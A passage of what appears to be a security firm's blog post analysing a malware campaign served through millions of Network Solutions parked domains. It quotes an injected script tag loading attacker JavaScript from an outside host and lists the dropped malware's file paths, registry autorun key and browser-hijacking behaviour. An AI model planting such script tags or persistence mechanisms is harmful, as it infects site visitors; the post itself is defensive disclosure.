5,000,000 domains:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_hELDi5B8zOI/TGdsmIr_Y_I/AAAAAAAACG0/4sYXNX2FRJg/s1600/network_solutions_malware_yahoo_search.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_hELDi5B8zOI/TGdsmIr_Y_I/AAAAAAAACG0/4sYXNX2FRJg/s1600/network_solutions_malware_yahoo_search.png" alt="" id="BLOGGER_PHOTO_ID_5505488471906542578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I didn't have time to click on every single one of them, but I clicked on enough to conclude that, all of them are indeed infected, via the &lt;a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html"&gt;same widget&lt;/a&gt; we blogged about a few days ago. Also, neither Google or Yahoo actually shows all results. Google shows the first 45 pages only, and Yahoo shows the first 100 only. So we couldn't really go through all the domains one by one...and 5 million is too large a number for manual verification anyways.&lt;br /&gt;&lt;br /&gt;Deciding to look a bit deeper to see if there are other infections, I realized that there is. The behavior is quite the same as our &lt;a href="http://blog.armorize.com/2010/05/beware-of-boingboingcom-malware.html"&gt;boingboing.com alert&lt;/a&gt; back in May.&lt;br /&gt;&lt;br /&gt;One infection, in addition to the widget, is this:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&amp;lt;script src=" http://www.asiappc.com/sp/newskbanner/728x90.js" language="JavaScript" charset="gb2312"&amp;gt;&amp;lt;/script&amp;gt;                   &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Analyzing this and comparing traffic logs of the boingboing.com &lt;a href="http://blog.armorize.com/2010/05/beware-of-boingboingcom-malware.html"&gt;post back in May&lt;/a&gt;, we concluded the the attacker uses the following free traffic analysis services, which are the two most popular choice among attackers in greater China--cnzz and 51.la. Specifically, the following accounts are used:&lt;br /&gt;&lt;br /&gt;1. &lt;a href="http://www.51.la/report/1_main.asp?id=3542139"&gt;51.la ID 3542139&lt;/a&gt;&lt;br /&gt;2. &lt;a href="http://new.cnzz.com/v1/login.php?siteid=1803216"&gt;cnzz.com ID 1803216&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Since both accounts &lt;b&gt;were registered with handle "skbanner,"&lt;/b&gt; we assume it's not multiple infections by different attackers but the same attacker using two counters. The 51.la account can be accessed:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_hELDi5B8zOI/TGb0wTA7zhI/AAAAAAAACF0/3lasC6AFpaY/s1600/google_network_solutions_malware_parked_domains_51la2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_hELDi5B8zOI/TGb0wTA7zhI/AAAAAAAACF0/3lasC6AFpaY/s1600/google_network_solutions_malware_parked_domains_51la2.png" alt="" id="BLOGGER_PHOTO_ID_5505356705082101266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;First, the account was registered on &lt;b&gt;Feb 5th&lt;/b&gt;. A day later, on Feb 6th, Tata Consulting Services, who uses Network Solutions as domain registrar, had their DNS records manipulated, &lt;a href="http://techcrunch.com/2010/02/07/indian-it-giant-tata-consultancy-services-hacked/"&gt;according to TechCrunch&lt;/a&gt; and &lt;a href="http://www.techbusy.org/internet/tcs-com-hacked-and-domain-put-up-for-sale/454/"&gt;other media&lt;/a&gt;. This all happened shortly after Jan 19th, when Network Solutions &lt;a href="http://blog.networksolutions.com/2010/update-web-site-defacement-issue/"&gt;publicly addressed that some of their sites have been hacked&lt;/a&gt; and they are addressing the problem.&lt;br /&gt;&lt;br /&gt;The 51.la "skbanner" counter recorded &lt;b&gt;2,683,120 &lt;/b&gt; accumulative page views--that's a lot of victims out there.&lt;br /&gt;&lt;br /&gt;The highest page view was seen on April 3rd, 2010. This time frame is close to the largest incident in this series--on April 7th, WordPress admins started to post on the WordPress Forum complaining that their WordPress on Network Solutions has been compromised and were serving malware. &lt;a href="http://wordpress.org/support/topic/sql-attack-on-wpress-292"&gt;That thread had 151 posts total&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Network Solutions acknowledged the problem on April 9th with a blog post &lt;a href="http://blog.networksolutions.com/2010/alert-wordpress-blog-network-solutions/"&gt;Alert: WordPress Blog &amp;amp; Network Solutions&lt;/a&gt;. If these events were associated, then sometime in early April the attacker group must have decided to leverage the control they had of Network Solutions, and massively injected malicious content not into the default parked domain page, but rather, into the hosted WordPress blogs and / or websites.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;It's concerning that this series of compromises happened starting Jan of this year, and today we are still seeing more than 500,000 Network Solutions domains actively serving malware as we write.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We also just registered a domain, &lt;a href="http://www.armorizetest.com/"&gt;armorizetest.com&lt;/a&gt;, with Network Solutions, and verified that it indeed actively serves malware the moment that it's up. Here's what we did:&lt;br /&gt;&lt;br /&gt;First we paid for our domain:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TGcD6Ul19iI/AAAAAAAACGE/rtOLDwi8Ghs/s1600/network_solutions_malware_domain_configure1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TGcD6Ul19iI/AAAAAAAACGE/rtOLDwi8Ghs/s1600/network_solutions_malware_domain_configure1.png" alt="" id="BLOGGER_PHOTO_ID_5505373369978451490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_hELDi5B8zOI/TGcD6jk4KtI/AAAAAAAACGM/IPIe_IMBUWU/s1600/network_solutions_malware_domain_registration.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://4.bp.blogspot.com/_hELDi5B8zOI/TGcD6jk4KtI/AAAAAAAACGM/IPIe_IMBUWU/s1600/network_solutions_malware_domain_registration.png" alt="" id="BLOGGER_PHOTO_ID_5505373374000933586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_hELDi5B8zOI/TGcD6NFbtVI/AAAAAAAACF8/459DV20rOEg/s1600/network_solutions_malware_domain_registration2-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://1.bp.blogspot.com/_hELDi5B8zOI/TGcD6NFbtVI/AAAAAAAACF8/459DV20rOEg/s1600/network_solutions_malware_domain_registration2-1.png" alt="" id="BLOGGER_PHOTO_ID_5505373367963465042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Then we set it to park using the "standard construction page":&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_hELDi5B8zOI/TGcD7JJFUqI/AAAAAAAACGU/GH57ADzDgz4/s1600/network_solutions_malware_domain_configure2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://3.bp.blogspot.com/_hELDi5B8zOI/TGcD7JJFUqI/AAAAAAAACGU/GH57ADzDgz4/s1600/network_solutions_malware_domain_configure2.png" alt="" id="BLOGGER_PHOTO_ID_5505373384084902562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It's done. We connect to our newly purchased and parked domain, and as you can see, the fake (and malicious) QQ messagebox pops up, and the compromised (and malicious) Network Solutions SMCI widget is there, too. From the traffic, yes, it's serving malicious content, which is the same as described in &lt;a href="http://blog.armorize.com/2010/08/smci-widget-by-network-solutions-still.html"&gt;our last blog post&lt;/a&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_hELDi5B8zOI/TGcD7pJqY3I/AAAAAAAACGc/qmNQRSrfzrU/s1600/network_solutions_malware_domain_armorize_malware2-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 748px" src="http://2.bp.blogspot.com/_hELDi5B8zOI/TGcD7pJqY3I/AAAAAAAACGc/qmNQRSrfzrU/s1600/network_solutions_malware_domain_armorize_malware2-1.png" alt="" id="BLOGGER_PHOTO_ID_5505373392677266290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;One of the dropped malware executable is: &lt;b&gt;C:\Documents and Settings\Administrator\Application Data\SystemProc\lsass.exe&lt;/b&gt;&lt;br /&gt;The hidden directory &lt;b&gt;SystemProc&lt;/b&gt; is created by a javascript exploit.&lt;br /&gt;&lt;br /&gt;VirusTotal says that the detection rate by antivurs companies for this lsass.exe file is exactly 50%--&lt;a href="http://www.virustotal.com/file-scan/report.html?id=391b9d455a30d8b8bb3a4899b10891d831277471711a9878fe89d130edf25f71-1281671967"&gt;21 out of 42 antivirus solutions can detect this file&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;We have prepared a demo video here:&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qWLX0a3FS_Y?fs=1&amp;amp;hl=zh_TW"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/qWLX0a3FS_Y?fs=1&amp;amp;hl=zh_TW" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="385" width="480"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Follow-up:&lt;br /&gt;We have managed to get in touch with Network Solutions, and within less than three hours, they have acted and taken down the widget. Actually, they have commented the code out, so you can still see it if you "view source."&lt;br /&gt;&lt;br /&gt;At the same time, while trying to figure out the exact number of affected domains, we realized that Yahoo is probably more correct on this--it was more than five million domains! Here's a video:&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/gmMsG2DEQLU?fs=1&amp;amp;hl=zh_TW"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/gmMsG2DEQLU?fs=1&amp;amp;hl=zh_TW" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="385" width="480"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Finally, as to the dropped malware &lt;b&gt;lsass.exe&lt;/b&gt; itself, here's what it does (credits to Chris Hsiao):&lt;br /&gt;When run, itcreates the following components:&lt;br /&gt;========================================================&lt;br /&gt;%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\install.rdf&lt;br /&gt;%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome.manifest&lt;br /&gt;%ProgramFiles%\Mozilla Firefox\extensions\{9ce11043-9a15-4207-a565-0c94c42d590d}\chrome\content\timer.xul&lt;br /&gt;%USERPROFILE%\Application Data\SystemProc\lsass.exe&lt;br /&gt;&lt;br /&gt;The following registry key is added in order to auto start itself after reboot:&lt;br /&gt;=========================================================&lt;br /&gt;  [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;  "RTHDBPL" = "%appdata%\SystemProc\lsass.exe"&lt;br /&gt;&lt;br /&gt;It monitors the following Web browsers:&lt;br /&gt;=========================================================&lt;br /&gt;Explorer&lt;br /&gt;Opera&lt;br /&gt;Chrome&lt;br /&gt;Firefox&lt;br /&gt;&lt;br /&gt;User searches using the following search engines are redirected to another Web site:&lt;br /&gt;===========================================================&lt;br /&gt;Google&lt;br /&gt;Ask&lt;br /&gt;Yahoo!&lt;br /&gt;AOL&lt;br /&gt;Bing&lt;br /&gt;&lt;br /&gt;It monitors the following search terms and pops up advertisement accordingly:&lt;br /&gt;============================================================&lt;br /&gt;cialis&lt;br /&gt;pharma&lt;br /&gt;casino&lt;br /&gt;finance&lt;br /&gt;mortgage&lt;br /&gt;insurance&lt;br /&gt;gambling&lt;br /&gt;health&lt;br /&gt;hotel&lt;br /&gt;travel&lt
